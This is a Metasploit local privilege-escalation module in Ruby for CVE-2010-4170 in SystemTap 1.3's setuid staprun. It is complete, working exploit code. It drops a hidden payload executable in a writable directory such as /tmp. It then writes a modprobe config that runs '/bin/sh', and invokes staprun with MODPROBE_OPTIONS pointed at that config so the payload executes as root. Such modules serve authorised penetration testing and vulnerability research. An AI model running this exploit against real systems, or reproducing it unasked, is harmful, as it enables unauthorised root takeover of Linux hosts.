SystemTap 1.3 - MODPROBE_OPTIONS Privilege Escalation (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SystemTap MODPROBE_OPTIONS Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges by exploiting a
        vulnerability in the `staprun` executable included with SystemTap
        version 1.3.

        The `staprun` executable does not clear environment variables prior to
        executing `modprobe`, allowing an arbitrary configuration file to be
        specified in the `MODPROBE_OPTIONS` environment variable, resulting
        in arbitrary command execution with root privileges.

        This module has been tested successfully on:

        systemtap 1.2-1.fc13-i686 on Fedora 13 (i686); and
        systemtap 1.1-3.el5 on RHEL 5.5 (x64).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Tavis Ormandy', # Discovery and exploit
          'bcoles'         # Metasploit
        ],
      'DisclosureDate' => '2010-11-17',
      'References'     =>
        [
          ['BID', '44914'],
          ['CVE', '2010-4170'],
          ['EDB', '15620'],
          ['URL', 'https://securitytracker.com/id?1024754'],
          ['URL', 'https://access.redhat.com/security/cve/cve-2010-4170'],
          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=653604'],
          ['URL', 'https://lists.fedoraproject.org/pipermail/package-announce/2010-November/051115.html'],
          ['URL', 'https://bugs.launchpad.net/bugs/677226'],
          ['URL', 'https://www.debian.org/security/2011/dsa-2348']
        ],
      'Platform'       => ['linux'],
      'Arch'           =>
        [
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Targets'        => [['Auto', {}]],
      'DefaultTarget'  => 0))
    register_options [
      OptString.new('STAPRUN_PATH', [true, 'Path to staprun executable', '/usr/bin/staprun'])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def staprun_path
    datastore['STAPRUN_PATH']
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    chmod path
  end

  def check
    # On some systems, staprun execution is restricted to stapusr group:
    # ---s--x---. 1 root stapusr 178488 Mar 28  2014 /usr/bin/staprun
    unless cmd_exec("test -x '#{staprun_path}' && echo true").include? 'true'
      vprint_error "#{staprun_path} is not executable"
      return CheckCode::Safe
    end
    vprint_good "#{staprun_path} is executable"

    unless setuid? staprun_path
      vprint_error "#{staprun_path} is not setuid"
      return CheckCode::Safe
    end
    vprint_good "#{staprun_path} is setuid"

    CheckCode::Detected
  end

  def exploit
    unless check == CheckCode::Detected
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
      end
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    payload_name = ".#{rand_text_alphanumeric 10..15}"
    payload_path = "#{base_dir}/#{payload_name}"
    upload_and_chmodx payload_path, generate_payload_exe

    config_path = "#{base_dir}/#{payload_name}.conf"
    upload config_path, "install uprobes /bin/sh"

    print_status 'Executing payload...'
    res = cmd_exec "echo '#{payload_path}&' | MODPROBE_OPTIONS='-C #{config_path}' #{staprun_path} -u #{rand_text_alphanumeric 10..15}"
    vprint_line res
  end
end